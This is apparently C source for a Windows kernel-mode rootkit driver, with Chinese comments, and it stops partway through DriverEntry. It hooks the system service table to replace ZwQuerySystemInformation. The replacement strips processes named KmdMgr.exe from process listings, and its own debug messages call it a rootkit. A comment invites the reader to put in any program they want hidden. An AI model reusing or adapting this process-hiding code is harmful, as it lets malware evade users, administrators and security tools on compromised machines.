syshide.c

通过hook实现文件

/*

  syshide.C

  Author: 
  Last Updated: 

  This framework is generated by Driver AppWizard.

*/

#include "ntddk.h"
#include "stdio.h"
#include "syshide.h"

#if DBG
#define dprintf DbgPrint
#else
#define dprintf(x)
#endif

NTSTATUS DrvDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DrvUnload(IN PDRIVER_OBJECT DriverObject);

#define NT_DEVICE_NAME L"\\Device\\syshide1"
#define DOS_DEVICE_NAME L"\\DosDevices\\syshide1"

unsigned long g_pKeServiceDescriptorTable = 0;

struct _SYSTEM_THREADS
{
    LARGE_INTEGER        KernelTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        CreateTime;
    ULONG                WaitTime;
    PVOID                StartAddress;
    CLIENT_ID            ClientIs;
    KPRIORITY            Priority;
    KPRIORITY            BasePriority;
    ULONG                ContextSwitchCount;
    ULONG                ThreadState;
    KWAIT_REASON        WaitReason;
};
struct _SYSTEM_PROCESSES
{
    ULONG                NextEntryDelta;
    ULONG                ThreadCount;
    ULONG                Reserved[6];
    LARGE_INTEGER        CreateTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        KernelTime;
    UNICODE_STRING        ProcessName;
    KPRIORITY            BasePriority;
    ULONG                ProcessId;
    ULONG                InheritedFromProcessId;
    ULONG                HandleCount;
    ULONG                Reserved2[2];
    VM_COUNTERS            VmCounters;
    IO_COUNTERS            IoCounters; //windows 2000 only
    struct _SYSTEM_THREADS        Threads[1];
};

//先声明一个System Service Descriptor Table，我们知道SSDT及SSPT都从这个表中指向
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} SSDT_Entry;

#pragma pack()

__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL  g_pmdlSystemCall;
PVOID *g_MappedSystemCallTable;

#define SYSTEMSERVICE(_func) \
                KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )       \
                _Orig = (PVOID) InterlockedExchange( (PLONG) \
                &g_MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )  \
                InterlockedExchange((PLONG)           \
                &g_MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)


NTSYSAPI NTSTATUS NTAPI ZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES
                                      ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
typedef NTSTATUS (*ZWOPENPROCESS)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES
                                       ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);

ZWOPENPROCESS g_pOriNtOpenProcess = NULL;

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation,
                                                 IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation,
                                             ULONG SystemInformationLength, PULONG ReturnLength );
ZWQUERYSYSTEMINFORMATION g_pOriNtQuerySystemInformation = NULL;

//全局变量部分
ULONG                        g_ProcessNameOffset;
#define NT_PROCNAMELEN  16
#define PROCNAMELEN     20

////////////////////////////////////////////////////////////////////////////////////////////////////
//获得程序名字
int GetProcessName( PCHAR theName )
{
    PEPROCESS       curproc;
    char            *nameptr;
//     ULONG           i;
//     KIRQL           oldirql;
    if( g_ProcessNameOffset ) 
    {
        curproc = PsGetCurrentProcess();
        nameptr   = (PCHAR) curproc + g_ProcessNameOffset;
        strncpy( theName, nameptr, NT_PROCNAMELEN);
        theName[NT_PROCNAMELEN] = 0; /* NULL at end */
        return TRUE;
    } 
    return FALSE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////
//获取函数偏移地址函数GetProcessNameOffset
void     GetProcessNameOffset()
{
    int i;
    PEPROCESS curproc;   
    DbgPrint("GetProcessNameOffset..");
    curproc = PsGetCurrentProcess();
    for( i = 0; i < 3*PAGE_SIZE; i++ ) 
    {
        if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
        {
            g_ProcessNameOffset = i;
        }
    }
}


////////////////////////////////////////////////////////////////////////////////////////////////////

//用户自定义的NewZwQuerySystemInformation
NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength
)
{
    NTSTATUS rc;
    CHAR aProcessName[PROCNAMELEN];        
    GetProcessName( aProcessName );
    rc = ((ZWQUERYSYSTEMINFORMATION)(g_pOriNtQuerySystemInformation)) (
            SystemInformationClass,
            SystemInformation,
            SystemInformationLength,
            ReturnLength );
    if( NT_SUCCESS( rc ) ) 
    {
        // double check the process name, if it starts w/ '_root_' DO NOT
        // apply any stealth
        if(0 == memcmp(aProcessName, "_root_", 6))
        {
            DbgPrint("rootkit: detected system query from _root_ process\n");
        }
        else if( 5 == SystemInformationClass )
        {
            // this is a process list, look for process names that start with
            // '_root_'            
            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
            DbgPrint("rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName);
            while(curr)
            {    
                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                int bMod = FALSE;
                ANSI_STRING process_name;
                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                if( (0 < process_name.Length) && (255 > process_name.Length) )
                {
                    if(0 == memcmp( process_name.Buffer, "KmdMgr.exe", 6))    //修改成你要隐藏的程序
                    {
                        //////////////////////////////////////////////
                        // we have a winner!
                        //////////////////////////////////////////////
                        char _output[255];
                        char _pname[255];
                        memset(_pname, 0, 255);
                        memcpy(_pname, process_name.Buffer, process_name.Length);
                        sprintf(    _output, 
                                    "rootkit: hiding process, pid: %d\tname: %s\r\n", 
                                    curr->ProcessId, 
                                    _pname);
                        DbgPrint(_output);
                        if(prev)
                        {
                            if(curr->NextEntryDelta)
                            {
                                // make prev skip this entry
                                prev->NextEntryDelta += curr->NextEntryDelta;
                                bMod = TRUE; //flag to say that we have modified 
                            }
                            else
                            {
                                // we are last, so make prev the end
                                prev->NextEntryDelta = 0;
                            }
                        }
                        else
                        {
                            if(curr->NextEntryDelta)
                            {
                                // we are first in the list, so move it forward
                                (char *)SystemInformation += curr->NextEntryDelta;
                            }
                            else
                            {
                                // we are the only process!
                                SystemInformation = NULL;
                            }
                        }
                    }
                }
                RtlFreeAnsiString(&process_name);
                prev = curr;
                if(!bMod)
                    prev = curr;
                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                else curr = NULL;
            }
        }
    }
    return(rc);
}


////////////////////////////////////////////////////////////////////////////////////////////////////

NTSTATUS NTAPI NewNtQuerySystemInformation1(ULONG SystemInformationClass, PVOID SystemInformation,
                                                 ULONG SystemInformationLength, PULONG ReturnLength)
{
    return g_pOriNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}

ZWQUERYSYSTEMINFORMATION     OldZwQuerySystemInformation;


/*++

Routine Description:

    Installable driver initialization entry point.
    This entry point is called directly by the I/O system.

Arguments:

    DriverObject - pointer to the driver object

    RegistryPath - pointer to a unicode string representing the path
                   to driver-specific key in the registry

Return Value:

    STATUS_SUCCESS if successful,
    STATUS_UNSUCCESSFUL otherwise

--*/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{

    PDEVICE_OBJECT         deviceObject        = NULL;